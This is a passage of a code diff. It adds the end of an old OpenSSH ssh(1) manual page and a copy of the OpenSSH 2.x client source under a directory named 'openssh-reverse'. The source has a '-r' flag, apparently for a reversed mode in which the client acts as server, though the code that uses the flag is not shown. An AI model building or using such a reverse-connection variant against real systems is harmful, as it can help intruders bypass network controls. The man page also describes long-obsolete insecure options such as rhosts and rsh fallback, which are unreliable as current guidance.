+.Nm +tries version 1 and falls back to version 2 +if version 1 is not available. +.It Cm ProxyCommand +Specifies the command to use to connect to the server. +The command +string extends to the end of the line, and is executed with +.Pa /bin/sh . +In the command string, +.Ql %h +will be substituted by the host name to +connect and +.Ql %p +by the port. +The command can be basically anything, +and should read from its standard input and write to its standard output. +It should eventually connect an +.Xr sshd 8 +server running on some machine, or execute +.Ic sshd -i +somewhere. +Host key management will be done using the +HostName of the host being connected (defaulting to the name typed by +the user). +Note that +.Cm CheckHostIP +is not available for connects with a proxy command. +.Pp +.It Cm RemoteForward +Specifies that a TCP/IP port on the remote machine be forwarded over +the secure channel to given host:port from the local machine. +The first argument must be a port number, and the second must be +host:port. +Multiple forwardings may be specified, and additional +forwardings can be given on the command line. +Only the superuser can forward privileged ports. +.It Cm RhostsAuthentication +Specifies whether to try rhosts based authentication. +Note that this +declaration only affects the client side and has no effect whatsoever +on security. +Disabling rhosts authentication may reduce +authentication time on slow connections when rhosts authentication is +not used. +Most servers do not permit RhostsAuthentication because it +is not secure (see RhostsRSAAuthentication). +The argument to this keyword must be +.Dq yes +or +.Dq no . +.It Cm RhostsRSAAuthentication +Specifies whether to try rhosts based authentication with RSA host +authentication. +This is the primary authentication method for most sites. +The argument must be +.Dq yes +or +.Dq no . +.It Cm RSAAuthentication +Specifies whether to try RSA authentication. +The argument to this keyword must be +.Dq yes +or +.Dq no . +RSA authentication will only be +attempted if the identity file exists, or an authentication agent is +running. +Note that this option applies to protocol version 1 only. +.It Cm SkeyAuthentication +Specifies whether to use +.Xr skey 1 +authentication. +The argument to this keyword must be +.Dq yes +or +.Dq no . +The default is +.Dq no . +.It Cm StrictHostKeyChecking +If this flag is set to +.Dq yes , +.Nm +ssh will never automatically add host keys to the +.Pa $HOME/.ssh/known_hosts +and +.Pa $HOME/.ssh/known_hosts2 +files, and refuses to connect hosts whose host key has changed. +This provides maximum protection against trojan horse attacks. +However, it can be somewhat annoying if you don't have good +.Pa /etc/ssh_known_hosts +and +.Pa /etc/ssh_known_hosts2 +files installed and frequently +connect new hosts. +Basically this option forces the user to manually +add any new hosts. +Normally this option is disabled, and new hosts +will automatically be added to the known host files. +The host keys of +known hosts will be verified automatically in either case. +The argument must be +.Dq yes +or +.Dq no . +.It Cm UsePrivilegedPort +Specifies whether to use a privileged port for outgoing connections. +The argument must be +.Dq yes +or +.Dq no . +The default is +.Dq yes . +Note that setting this option to +.Dq no +turns off +.Cm RhostsAuthentication +and +.Cm RhostsRSAAuthentication . +.It Cm User +Specifies the user to log in as. +This can be useful if you have a different user name on different machines. +This saves the trouble of +having to remember to give the user name on the command line. +.It Cm UserKnownHostsFile +Specifies a file to use instead of +.Pa $HOME/.ssh/known_hosts . +.It Cm UseRsh +Specifies that rlogin/rsh should be used for this host. +It is possible that the host does not at all support the +.Nm +protocol. +This causes +.Nm +to immediately execute +.Xr rsh 1 . +All other options (except +.Cm HostName ) +are ignored if this has been specified. +The argument must be +.Dq yes +or +.Dq no . +.It Cm XAuthLocation +Specifies the location of the +.Xr xauth 1 +program. +The default is +.Pa /usr/X11R6/bin/xauth . +.Sh ENVIRONMENT +.Nm +will normally set the following environment variables: +.Bl -tag -width Ds +.It Ev DISPLAY +The +.Ev DISPLAY +variable indicates the location of the X11 server. +It is automatically set by +.Nm +to point to a value of the form +.Dq hostname:n +where hostname indicates +the host where the shell runs, and n is an integer >= 1. +.Nm +uses this special value to forward X11 connections over the secure +channel. +The user should normally not set DISPLAY explicitly, as that +will render the X11 connection insecure (and will require the user to +manually copy any required authorization cookies). +.It Ev HOME +Set to the path of the user's home directory. +.It Ev LOGNAME +Synonym for +.Ev USER ; +set for compatibility with systems that use this variable. +.It Ev MAIL +Set to point the user's mailbox. +.It Ev PATH +Set to the default +.Ev PATH , +as specified when compiling +.Nm ssh . +.It Ev SSH_AUTH_SOCK +indicates the path of a unix-domain socket used to communicate with the +agent. +.It Ev SSH_CLIENT +Identifies the client end of the connection. +The variable contains +three space-separated values: client ip-address, client port number, +and server port number. +.It Ev SSH_TTY +This is set to the name of the tty (path to the device) associated +with the current shell or command. +If the current session has no tty, +this variable is not set. +.It Ev TZ +The timezone variable is set to indicate the present timezone if it +was set when the daemon was started (e.i., the daemon passes the value +on to new connections). +.It Ev USER +Set to the name of the user logging in. +.El +.Pp +Additionally, +.Nm +reads +.Pa $HOME/.ssh/environment , +and adds lines of the format +.Dq VARNAME=value +to the environment. +.Sh FILES +.Bl -tag -width Ds +.It Pa $HOME/.ssh/known_hosts +Records host keys for all hosts the user has logged into (that are not +in +.Pa /etc/ssh_known_hosts ) . +See +.Xr sshd 8 . +.It Pa $HOME/.ssh/identity, $HOME/.ssh/id_dsa +Contains the RSA and the DSA authentication identity of the user. +These files +contain sensitive data and should be readable by the user but not +accessible by others (read/write/execute). +Note that +.Nm +ignores a private key file if it is accessible by others. +It is possible to specify a passphrase when +generating the key; the passphrase will be used to encrypt the +sensitive part of this file using 3DES. +.It Pa $HOME/.ssh/identity.pub, $HOME/.ssh/id_dsa.pub +Contains the public key for authentication (public part of the +identity file in human-readable form). +The contents of the +.Pa $HOME/.ssh/identity.pub +file should be added to +.Pa $HOME/.ssh/authorized_keys +on all machines +where you wish to log in using RSA authentication. +The contents of the +.Pa $HOME/.ssh/id_dsa.pub +file should be added to +.Pa $HOME/.ssh/authorized_keys2 +on all machines +where you wish to log in using DSA authentication. +These files are not +sensitive and can (but need not) be readable by anyone. +These files are +never used automatically and are not necessary; they is only provided for +the convenience of the user. +.It Pa $HOME/.ssh/config +This is the per-user configuration file. +The format of this file is described above. +This file is used by the +.Nm +client. +This file does not usually contain any sensitive information, +but the recommended permissions are read/write for the user, and not +accessible by others. +.It Pa $HOME/.ssh/authorized_keys +Lists the RSA keys that can be used for logging in as this user. +The format of this file is described in the +.Xr sshd 8 +manual page. +In the simplest form the format is the same as the .pub +identity files (that is, each line contains the number of bits in +modulus, public exponent, modulus, and comment fields, separated by +spaces). +This file is not highly sensitive, but the recommended +permissions are read/write for the user, and not accessible by others. +.It Pa $HOME/.ssh/authorized_keys2 +Lists the DSA keys that can be used for logging in as this user. +This file is not highly sensitive, but the recommended +permissions are read/write for the user, and not accessible by others. +.It Pa /etc/ssh_known_hosts, /etc/ssh_known_hosts2 +Systemwide list of known host keys. +.Pa /etc/ssh_known_hosts +contains RSA and +.Pa /etc/ssh_known_hosts2 +contains DSA keys. +These files should be prepared by the +system administrator to contain the public host keys of all machines in the +organization. +This file should be world-readable. +This file contains +public keys, one per line, in the following format (fields separated +by spaces): system name, number of bits in modulus, public exponent, +modulus, and optional comment field. +When different names are used +for the same machine, all such names should be listed, separated by +commas. +The format is described on the +.Xr sshd 8 +manual page. +.Pp +The canonical system name (as returned by name servers) is used by +.Xr sshd 8 +to verify the client host when logging in; other names are needed because +.Nm +does not convert the user-supplied name to a canonical name before +checking the key, because someone with access to the name servers +would then be able to fool host authentication. +.It Pa /etc/ssh_config +Systemwide configuration file. +This file provides defaults for those +values that are not specified in the user's configuration file, and +for those users who do not have a configuration file. +This file must be world-readable. +.It Pa $HOME/.rhosts +This file is used in +.Pa \&.rhosts +authentication to list the +host/user pairs that are permitted to log in. +(Note that this file is +also used by rlogin and rsh, which makes using this file insecure.) +Each line of the file contains a host name (in the canonical form +returned by name servers), and then a user name on that host, +separated by a space. +One some machines this file may need to be +world-readable if the user's home directory is on a NFS partition, +because +.Xr sshd 8 +reads it as root. +Additionally, this file must be owned by the user, +and must not have write permissions for anyone else. +The recommended +permission for most machines is read/write for the user, and not +accessible by others. +.Pp +Note that by default +.Xr sshd 8 +will be installed so that it requires successful RSA host +authentication before permitting \s+2.\s0rhosts authentication. +If your server machine does not have the client's host key in +.Pa /etc/ssh_known_hosts , +you can store it in +.Pa $HOME/.ssh/known_hosts . +The easiest way to do this is to +connect back to the client from the server machine using ssh; this +will automatically add the host key to +.Pa $HOME/.ssh/known_hosts . +.It Pa $HOME/.shosts +This file is used exactly the same way as +.Pa \&.rhosts . +The purpose for +having this file is to be able to use rhosts authentication with +.Nm +without permitting login with +.Xr rlogin 1 +or +.Xr rsh 1 . +.It Pa /etc/hosts.equiv +This file is used during +.Pa \&.rhosts authentication. +It contains +canonical hosts names, one per line (the full format is described on +the +.Xr sshd 8 +manual page). +If the client host is found in this file, login is +automatically permitted provided client and server user names are the +same. +Additionally, successful RSA host authentication is normally +required. +This file should only be writable by root. +.It Pa /etc/shosts.equiv +This file is processed exactly as +.Pa /etc/hosts.equiv . +This file may be useful to permit logins using +.Nm +but not using rsh/rlogin. +.It Pa /etc/sshrc +Commands in this file are executed by +.Nm +when the user logs in just before the user's shell (or command) is started. +See the +.Xr sshd 8 +manual page for more information. +.It Pa $HOME/.ssh/rc +Commands in this file are executed by +.Nm +when the user logs in just before the user's shell (or command) is +started. +See the +.Xr sshd 8 +manual page for more information. +.It Pa $HOME/.ssh/environment +Contains additional definitions for environment variables, see section +.Sx ENVIRONMENT +above. +.It Pa libcrypto.so.X.1 +A version of this library which includes support for the RSA algorithm +is required for proper operation. +.Sh AUTHOR +OpenSSH +is a derivative of the original (free) ssh 1.2.12 release by Tatu Ylonen, +but with bugs removed and newer features re-added. +Rapidly after the +1.2.12 release, newer versions of the original ssh bore successively +more restrictive licenses, and thus demand for a free version was born. +.Pp +This version of OpenSSH +.Bl -bullet +.It +has all components of a restrictive nature (i.e., patents) +directly removed from the source code; any licensed or patented components +are chosen from +external libraries. +.It +has been updated to support SSH protocol 1.5 and 2, making it compatible with +all other SSH clients and servers. +.It +contains added support for +.Xr kerberos 8 +authentication and ticket passing. +.It +supports one-time password authentication with +.Xr skey 1 . +.El +.Pp +OpenSSH has been created by Aaron Campbell, Bob Beck, Markus Friedl, +Niels Provos, Theo de Raadt, and Dug Song. +.Pp +The support for SSH protocol 2 was written by Markus Friedl. +.Sh SEE ALSO +.Xr rlogin 1 , +.Xr rsh 1 , +.Xr scp 1 , +.Xr ssh-add 1 , +.Xr ssh-agent 1 , +.Xr ssh-keygen 1 , +.Xr telnet 1 , +.Xr sshd 8 , diff --git a/other/openssh-reverse/ssh.c b/other/openssh-reverse/ssh.c new file mode 100644 index 0000000..ab967b3 --- /dev/null +++ b/other/openssh-reverse/ssh.c @@ -0,0 +1,990 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Created: Sat Mar 18 16:36:11 1995 ylo + * Ssh client program. This program can be used to log into a remote machine. + * The software supports strong authentication, encryption, and forwarding + * of X11, TCP/IP, and authentication connections. + * + * Modified to work with SSL by Niels Provos in Canada. + */ + +#include "includes.h" +RCSID("$OpenBSD: ssh.c,v 1.57 2000/07/15 04:01:37 djm Exp $"); + +#include +#include +#include + +#include "xmalloc.h" +#include "ssh.h" +#include "packet.h" +#include "buffer.h" +#include "authfd.h" +#include "readconf.h" +#include "uidswap.h" + +#include "ssh2.h" +#include "compat.h" +#include "channels.h" +#include "key.h" +#include "authfile.h" + +#ifdef HAVE___PROGNAME +extern char *__progname; +#else /* HAVE___PROGNAME */ +static const char *__progname = "ssh"; +#endif /* HAVE___PROGNAME */ + +/* Flag indicating whether IPv4 or IPv6. This can be set on the command line. + Default value is AF_UNSPEC means both IPv4 and IPv6. */ +#ifdef IPV4_DEFAULT +int IPv4or6 = AF_INET; +#else +int IPv4or6 = AF_UNSPEC; +#endif + +/* Flag indicating whether debug mode is on. This can be set on the command line. */ +int debug_flag = 0; + +/* Flag indicating whether a tty should be allocated */ +int tty_flag = 0; + +/* don't exec a shell */ +int no_shell_flag = 0; +int no_tty_flag = 0; + +int reverse_fun = 0; + +/* + * Flag indicating that nothing should be read from stdin. This can be set + * on the command line. + */ +int stdin_null_flag = 0; + +/* + * Flag indicating that ssh should fork after authentication. This is useful + * so that the pasphrase can be entered manually, and then ssh goes to the + * background. + */ +int fork_after_authentication_flag = 0; + +/* + * General data structure for command line options and options configurable + * in configuration files. See readconf.h. + */ +Options options; + +/* + * Name of the host we are connecting to. This is the name given on the + * command line, or the HostName specified for the user-supplied name in a + * configuration file. + */ +char *host; + +/* socket address the host resolves to */ +struct sockaddr_storage hostaddr; + +/* + * Flag to indicate that we have received a window change signal which has + * not yet been processed. This will cause a message indicating the new + * window size to be sent to the server a little later. This is volatile + * because this is updated in a signal handler. + */ +volatile int received_window_change_signal = 0; + +/* Value of argv[0] (set in the main program). */ +char *av0; + +/* Flag indicating whether we have a valid host private key loaded. */ +int host_private_key_loaded = 0; + +/* Host private key. */ +RSA *host_private_key = NULL; + +/* Original real UID. */ +uid_t original_real_uid; + +/* command to be executed */ +Buffer command; + +/* Prints a help message to the user. This function never returns. */ + +void +usage() +{ + fprintf(stderr, "Usage: %s [options] host [command]\n", av0); + fprintf(stderr, "Options:\n"); + fprintf(stderr, " -l user Log in using this user name.\n"); + fprintf(stderr, " -n Redirect input from /dev/null.\n"); + fprintf(stderr, " -A Enable authentication agent forwarding.\n"); + fprintf(stderr, " -a Disable authentication agent forwarding.\n"); +#ifdef AFS + fprintf(stderr, " -k Disable Kerberos ticket and AFS token forwarding.\n"); +#endif /* AFS */ + fprintf(stderr, " -X Enable X11 connection forwarding.\n"); + fprintf(stderr, " -x Disable X11 connection forwarding.\n"); + fprintf(stderr, " -i file Identity for RSA authentication (default: ~/.ssh/identity).\n"); + fprintf(stderr, " -t Tty; allocate a tty even if command is given.\n"); + fprintf(stderr, " -T Do not allocate a tty.\n"); + fprintf(stderr, " -v Verbose; display verbose debugging messages.\n"); + fprintf(stderr, " -V Display version number only.\n"); + fprintf(stderr, " -P Don't allocate a privileged port.\n"); + fprintf(stderr, " -q Quiet; don't display any warning messages.\n"); + fprintf(stderr, " -f Fork into background after authentication.\n"); + fprintf(stderr, " -e char Set escape character; ``none'' = disable (default: ~).\n"); + + fprintf(stderr, " -c cipher Select encryption algorithm: " + "``3des'', " + "``blowfish''\n"); + fprintf(stderr, " -p port Connect to this port. Server must be on the same port.\n"); + fprintf(stderr, " -L listen-port:host:port Forward local port to remote address\n"); + fprintf(stderr, " -R listen-port:host:port Forward remote port to local address\n"); + fprintf(stderr, " These cause %s to listen for connections on a port, and\n", av0); + fprintf(stderr, " forward them to the other side by connecting to host:port.\n"); + fprintf(stderr, " -C Enable compression.\n"); + fprintf(stderr, " -N Do not execute a shell or command.\n"); + fprintf(stderr, " -g Allow remote hosts to connect to forwarded ports.\n"); + fprintf(stderr, " -4 Use IPv4 only.\n"); + fprintf(stderr, " -6 Use IPv6 only.\n"); + fprintf(stderr, " -2 Force protocol version 2.\n"); + fprintf(stderr, " -r Have some reverse fun (client acts as server and vice versa:)\n"); + fprintf(stderr, " -o 'option' Process the option as if it was read from a configuration file.\n"); + exit(1); +} + +/* + * Connects to the given host using rsh (or prints an error message and exits + * if rsh is not available). This function never returns. + */ +void +rsh_connect(char *host, char *user, Buffer * command) +{ + char *args[10]; + int i; + + log("Using rsh. WARNING: Connection will not be encrypted."); + /* Build argument list for rsh. */ + i = 0; + args[i++] = _PATH_RSH; + /* host may have to come after user on some systems */ + args[i++] = host; + if (user) { + args[i++] = "-l"; + args[i++] = user; + } + if (buffer_len(command) > 0) { + buffer_append(command, "\0", 1); + args[i++] = buffer_ptr(command); + } + args[i++] = NULL; + if (debug_flag) { + for (i = 0; args[i]; i++) { + if (i != 0) + fprintf(stderr, " "); + fprintf(stderr, "%s", args[i]); + } + fprintf(stderr, "\n"); + } + execv(_PATH_RSH, args); + perror(_PATH_RSH); + exit(1); +} + +int ssh_session(void); +int ssh_session2(void); + +/* + * Main program for the ssh client. + */ +int +main(int ac, char **av) +{ + int i, opt, optind, exit_status, ok; + u_short fwd_port, fwd_host_port; + char *optarg, *cp, buf[256]; + struct stat st; + struct passwd *pw, pwcopy; + int dummy; + uid_t original_effective_uid; + + init_rng(); + + /* + * Save the original real uid. It will be needed later (uid-swapping + * may clobber the real uid). + */ + original_real_uid = getuid(); + original_effective_uid = geteuid(); + + /* If we are installed setuid root be careful to not drop core. */ + if (original_real_uid != original_effective_uid) { + struct rlimit rlim; + rlim.rlim_cur = rlim.rlim_max = 0; + if (setrlimit(RLIMIT_CORE, &rlim) < 0) + fatal("setrlimit failed: %.100s", strerror(errno)); + } + /* + * Use uid-swapping to give up root privileges for the duration of + * option processing. We will re-instantiate the rights when we are + * ready to create the privileged port, and will permanently drop + * them when the port has been created (actually, when the connection + * has been made, as we may need to create the port several times). + */ + temporarily_use_uid(original_real_uid); + + /* + * Set our umask to something reasonable, as some files are created + * with the default umask. This will make them world-readable but + * writable only by the owner, which is ok for all files for which we + * don't set the modes explicitly. + */ + umask(022); + + /* Save our own name. */ + av0 = av[0]; + + /* Initialize option structure to indicate that no values have been set. */ + initialize_options(&options); + + /* Parse command-line arguments. */ + host = NULL; + + /* If program name is not one of the standard names, use it as host name. */ + if (strchr(av0, '/')) + cp = strrchr(av0, '/') + 1; + else + cp = av0; + if (strcmp(cp, "rsh") != 0 && strcmp(cp, "ssh") != 0 && + strcmp(cp, "rlogin") != 0 && strcmp(cp, "slogin") != 0) + host = cp; + + for (optind = 1; optind < ac; optind++) { + if (av[optind][0] != '-') { + if (host) + break; + if ((cp = strchr(av[optind], '@'))) { + if(cp == av[optind]) + usage(); + options.user = av[optind]; + *cp = '\0'; + host = ++cp; + } else + host = av[optind]; + continue; + } + opt = av[optind][1]; + if (!opt) + usage(); + if (strchr("eilcpLRo", opt)) { /* options with arguments */ + optarg = av[optind] + 2; + if (strcmp(optarg, "") == 0) { + if (optind >= ac - 1) + usage(); + optarg = av[++optind]; + } + } else { + if (av[optind][2]) + usage(); + optarg = NULL; + } + switch (opt) { + case 'r': + reverse_fun = 1; + break; + case '2': + options.protocol = SSH_PROTO_2; + break; + case '4': + IPv4or6 = AF_INET; + break; + case '6': + IPv4or6 = AF_INET6; + break; + case 'n': + stdin_null_flag = 1; + break; + case 'f': + fork_after_authentication_flag = 1; + stdin_null_flag = 1; + break; + case 'x': + options.forward_x11 = 0; + break; + case 'X': + options.forward_x11 = 1; + break; + case 'g': + options.gateway_ports = 1; + break; + case 'P': + options.use_privileged_port = 0; + break; + case 'a': + options.forward_agent = 0; + break; + case 'A': + options.forward_agent = 1; + break; +#ifdef AFS + case 'k': + options.kerberos_tgt_passing = 0; + options.afs_token_passing = 0; + break; +#endif + case 'i': + if (stat(optarg, &st) < 0) { + fprintf(stderr, "Warning: Identity file %s does not exist.\n", + optarg); + break; + } + if (options.num_identity_files >= SSH_MAX_IDENTITY_FILES) + fatal("Too many identity files specified (max %d)", + SSH_MAX_IDENTITY_FILES); + options.identity_files[options.num_identity_files++] = + xstrdup(optarg); + break; + case 't': + tty_flag = 1; + break; + case 'v': + case 'V': + fprintf(stderr, "SSH Version %s, protocol versions %d.%d/%d.%d.\n", + SSH_VERSION, + PROTOCOL_MAJOR_1, PROTOCOL_MINOR_1, + PROTOCOL_MAJOR_2, PROTOCOL_MINOR_2); + fprintf(stderr, "Compiled with SSL (0x%8.8lx).\n", SSLeay()); + if (opt == 'V') + exit(0); + debug_flag = 1; + options.log_level = SYSLOG_LEVEL_DEBUG; + break; + case 'q': + options.log_level = SYSLOG_LEVEL_QUIET; + break; + case 'e': + if (optarg[0] == '^' && optarg[2] == 0 && + (unsigned char) optarg[1] >= 64 && (unsigned char) optarg[1] < 128) + options.escape_char = (unsigned char) optarg[1] & 31; + else if (strlen(optarg) == 1) + options.escape_char = (unsigned char) optarg[0]; + else if (strcmp(optarg, "none") == 0) + options.escape_char = -2; + else { + fprintf(stderr, "Bad escape character '%s'.\n", optarg); + exit(1); + } + break; + case 'c': + if (ciphers_valid(optarg)) { + /* SSH2 only */ + options.ciphers = xstrdup(optarg); + options.cipher = SSH_CIPHER_ILLEGAL; + } else { + /* SSH1 only */ + options.cipher = cipher_number(optarg); + if (options.cipher == -1) { + fprintf(stderr, "Unknown cipher type '%s'\n", optarg); + exit(1); + } + } + break; + case 'p': + options.port = atoi(optarg); + break; + case 'l': + options.user = optarg; + break; + case 'R': + if (sscanf(optarg, "%hu/%255[^/]/%hu", &fwd_port, buf, + &fwd_host_port) != 3 && + sscanf(optarg, "%hu:%255[^:]:%hu", &fwd_port, buf, + &fwd_host_port) != 3) { + fprintf(stderr, "Bad forwarding specification '%s'.\n", optarg); + usage(); + /* NOTREACHED */ + } + add_remote_forward(&options, fwd_port, buf, fwd_host_port); + break; + case 'L': + if (sscanf(optarg, "%hu/%255[^/]/%hu", &fwd_port, buf, + &fwd_host_port) != 3 && + sscanf(optarg, "%hu:%255[^:]:%hu", &fwd_port, buf, + &fwd_host_port) != 3) { + fprintf(stderr, "Bad forwarding specification '%s'.\n", optarg); + usage(); + /* NOTREACHED */ + } + add_local_forward(&options, fwd_port, buf, fwd_host_port); + break; + case 'C': + options.compression = 1; + break; + case 'N': + no_shell_flag = 1; + no_tty_flag = 1; + break; + case 'T': + no_tty_flag = 1; + break; + case 'o': + dummy = 1; + if (process_config_line(&options, host ? host : "", optarg, + "command-line", 0, &dummy) != 0) + exit(1); + break; + default: + usage(); + } + } + + /* Check that we got a host name. */ + if (!host) + usage(); + + /* Initialize the command to execute on remote host. */ + buffer_init(&command); + + SSLeay_add_all_algorithms(); + + /* + * Save the command to execute on the remote host in a buffer. There + * is no limit on the length of the command, except by the maximum + * packet size. Also sets the tty flag if there is no command. + */ + if (optind == ac) { + /* No command specified - execute shell on a tty. */ + tty_flag = 1; + } else { + /* A command has been specified. Store it into the + buffer. */ + for (i = optind; i < ac; i++) { + if (i > optind) + buffer_append(&command, " ", 1); + buffer_append(&command, av[i], strlen(av[i])); + } + } + + /* Cannot fork to background if no command. */ + if (fork_after_authentication_flag && buffer_len(&command) == 0) + fatal("Cannot fork into background without a command to execute."); + + /* Allocate a tty by default if no command specified. */ + if (buffer_len(&command) == 0) + tty_flag = 1; + + /* Do not allocate a tty if stdin is not a tty. */ + if (!isatty(fileno(stdin))) { + if (tty_flag) + fprintf(stderr, "Pseudo-terminal will not be allocated because stdin is not a terminal.\n"); + tty_flag = 0; + } + /* force */ + if (no_tty_flag) + tty_flag = 0; + + /* Get user data. */ + pw = getpwuid(original_real_uid); + if (!pw) { + fprintf(stderr, "You don't exist, go away!\n"); + exit(1); + } + /* Take a copy of the returned structure. */ + memset(&pwcopy, 0, sizeof(pwcopy)); + pwcopy.pw_name = xstrdup(pw->pw_name); + pwcopy.pw_passwd = xstrdup(pw->pw_passwd); + pwcopy.pw_uid = pw->pw_uid; + pwcopy.pw_gid = pw->pw_gid; + pwcopy.pw_dir = xstrdup(pw->pw_dir); + pwcopy.pw_shell = xstrdup(pw->pw_shell); + pw = &pwcopy; + + /* Initialize "log" output. Since we are the client all output + actually goes to the terminal. */ + log_init(av[0], options.log_level, SYSLOG_FACILITY_USER, 0); + + /* Read per-user configuration file. */ + snprintf(buf, sizeof buf, "%.100s/%.100s", pw->pw_dir, SSH_USER_CONFFILE); + read_config_file(buf, host, &options); + + /* Read systemwide configuration file. */ + read_config_file(HOST_CONFIG_FILE, host, &options); + + /* Fill configuration defaults. */ + fill_default_options(&options); + + /* reinit */ + log_init(av[0], options.log_level, SYSLOG_FACILITY_USER, 0); + + /* check if RSA support exists */ + if ((options.protocol & SSH_PROTO_1) && + rsa_alive() == 0) { + log("%s: no RSA support in libssl and libcrypto. See ssl(8).", + __progname); + log("Disabling protocol version 1"); + options.protocol &= ~ (SSH_PROTO_1|SSH_PROTO_1_PREFERRED); + } + if (! options.protocol & (SSH_PROTO_1|SSH_PROTO_2)) { + fprintf(stderr, "%s: No protocol version available.\n", + __progname); + exit(1); + } + + if (options.user == NULL) + options.user = xstrdup(pw->pw_name); + + if (options.hostname != NULL) + host = options.hostname; + + /* Find canonic host name. */ + if (strchr(host, '.') == 0) { + struct addrinfo hints; + struct addrinfo *ai = NULL; + int errgai; + memset(&hints, 0, sizeof(hints)); + hints.ai_family = IPv4or6; + hints.ai_flags = AI_CANONNAME; + hints.ai_socktype = SOCK_STREAM; + errgai = getaddrinfo(host, NULL, &hints, &ai); + if (errgai == 0) { + if (ai->ai_canonname != NULL) + host = xstrdup(ai->ai_canonname); + freeaddrinfo(ai); + } + } + /* Disable rhosts authentication if not running as root. */ + if (original_effective_uid != 0 || !options.use_privileged_port) { + options.rhosts_authentication = 0; + options.rhosts_rsa_authentication = 0; + } + /* + * If using rsh has been selected, exec it now (without trying + * anything else). Note that we must release privileges first. + */ + if (options.use_rsh) { + /* + * Restore our superuser privileges. This must be done + * before permanently setting the uid. + */ + restore_uid(); + + /* Switch to the original uid permanently. */ + permanently_set_uid(original_real_uid); + + /* Execute rsh. */ + rsh_connect(host, options.user, &command); + fatal("rsh_connect returned"); + } + /* Restore our superuser privileges. */ + restore_uid(); + + /* + * Open a connection to the remote host. This needs root privileges + * if rhosts_{rsa_}authentication is enabled. + */ + + ok = ssh_connect(host, &hostaddr, options.port, + options.connection_attempts, + !options.rhosts_authentication && + !options.rhosts_rsa_authentication, + original_real_uid, + options.proxy_command); + + /* + * If we successfully made the connection, load the host private key + * in case we will need it later for combined rsa-rhosts + * authentication. This must be done before releasing extra + * privileges, because the file is only readable by root. + */ + if (ok && (options.protocol & SSH_PROTO_1)) { + Key k; + host_private_key = RSA_new(); + k.type = KEY_RSA; + k.rsa = host_private_key; + if (load_private_key(HOST_KEY_FILE, "", &k, NULL)) + host_private_key_loaded = 1; + } + /* + * Get rid of any extra privileges that we may have. We will no + * longer need them. Also, extra privileges could make it very hard + * to read identity files and other non-world-readable files from the + * user's home directory if it happens to be on a NFS volume where + * root is mapped to nobody. + */ + + /* + * Note that some legacy systems need to postpone the following call + * to permanently_set_uid() until the private hostkey is destroyed + * with RSA_free(). Otherwise the calling user could ptrace() the + * process, read the private hostkey and impersonate the host. + * OpenBSD does not allow ptracing of setuid processes. + */ + permanently_set_uid(original_real_uid); + + /* + * Now that we are back to our own permissions, create ~/.ssh + * directory if it doesn\'t already exist. + */ + snprintf(buf, sizeof buf, "%.100s/%.100s", pw->pw_dir, SSH_USER_DIR); + if (stat(buf, &st) < 0) + if (mkdir(buf, 0700) < 0) + error("Could not create directory '%.200s'.", buf); + + /* Check if the connection failed, and try "rsh" if appropriate. */ + if (!ok) { + if (options.port != 0) + log("Secure connection to %.100s on port %hu refused%.100s.", + host, options.port, + options.fallback_to_rsh ? "; reverting to insecure method" : ""); + else + log("Secure connection to %.100s refused%.100s.", host, + options.fallback_to_rsh ? "; reverting to insecure method" : ""); + + if (options.fallback_to_rsh) { + rsh_connect(host, options.user, &command); + fatal("rsh_connect returned"); + } + exit(1); + } + /* Expand ~ in options.identity_files. */ + /* XXX mem-leaks */ + for (i = 0; i < options.num_identity_files; i++) + options.identity_files[i] = + tilde_expand_filename(options.identity_files[i], original_real_uid); + for (i = 0; i < options.num_identity_files2; i++) + options.identity_files2[i] = + tilde_expand_filename(options.identity_files2[i], original_real_uid); + /* Expand ~ in known host file names. */ + options.system_hostfile = tilde_expand_filename(options.system_hostfile, + original_real_uid); + options.user_hostfile = tilde_expand_filename(options.user_hostfile, + original_real_uid); + options.system_hostfile2 = tilde_expand_filename(options.system_hostfile2, + original_real_uid); + options.user_hostfile2 = tilde_expand_filename(options.user_hostfile2, + original_real_uid); + + /* Log into the remote system. This never returns if the login fails. */ + ssh_login(host_private_key_loaded, host_private_key, + host, (struct sockaddr *)&hostaddr, original_real_uid); + + /* We no longer need the host private key. Clear it now. */ + if (host_private_key_loaded) + RSA_free(host_private_key); /* Destroys contents safely */ + + exit_status = compat20 ? ssh_session2() : ssh_session(); + packet_close(); + return exit_status; +} + +void +x11_get_proto(char *proto, int proto_len, char *data, int data_len) +{ + char line[512]; + FILE *f; + int got_data = 0, i; + + if (options.xauth_location) { + /* Try to get Xauthority information for the display. */ + snprintf(line, sizeof line, "%.100s list %.200s 2>/dev/null", + options.xauth_location, getenv("DISPLAY")); + f = popen(line, "r"); + if (f && fgets(line, sizeof(line), f) && + sscanf(line, "%*s %s %s", proto, data) == 2) + got_data = 1; + if (f) + pclose(f); + } + /* + * If we didn't get authentication data, just make up some + * data. The forwarding code will check the validity of the + * response anyway, and substitute this data. The X11 + * server, however, will ignore this fake data and use + * whatever authentication mechanisms it was using otherwise + * for the local connection. + */ + if (!got_data) { + u_int32_t rand = 0; + + strlcpy(proto, "MIT-MAGIC-COOKIE-1", proto_len); + for (i = 0; i < 16; i++) { + if (i % 4 == 0) + rand = arc4random(); + snprintf(data + 2 * i, data_len - 2 * i, "%02x", rand & 0xff); + rand >>= 8; + } + } +} + +int +ssh_session(void) +{ + int type; + int i; + int plen; + int interactive = 0; + int have_tty = 0; + struct winsize ws; + int authfd; + char *cp; + + /* Enable compression if requested. */ + if (options.compression) { + debug("Requesting compression at level %d.", options.compression_level); + + if (options.compression_level < 1 || options.compression_level > 9) + fatal("Compression level must be from 1 (fast) to 9 (slow, best)."); + + /* Send the request. */ + packet_start(SSH_CMSG_REQUEST_COMPRESSION); + packet_put_int(options.compression_level); + packet_send(); + packet_write_wait(); + type = packet_read(&plen); + if (type == SSH_SMSG_SUCCESS) + packet_start_compression(options.compression_level); + else if (type == SSH_SMSG_FAILURE) + log("Warning: Remote host refused compression."); + else + packet_disconnect("Protocol error waiting for compression response."); + } + /* Allocate a pseudo tty if appropriate. */ + if (tty_flag) { + debug("Requesting pty."); + + /* Start the packet. */ + packet_start(SSH_CMSG_REQUEST_PTY); + + /* Store TERM in the packet. There is no limit on the + length of the string. */ + cp = getenv("TERM"); + if (!cp) + cp = ""; + packet_put_string(cp, strlen(cp)); + + /* Store window size in the packet. */ + if (ioctl(fileno(stdin), TIOCGWINSZ, &ws) < 0) + memset(&ws, 0, sizeof(ws)); + packet_put_int(ws.ws_row); + packet_put_int(ws.ws_col); + packet_put_int(ws.ws_xpixel); 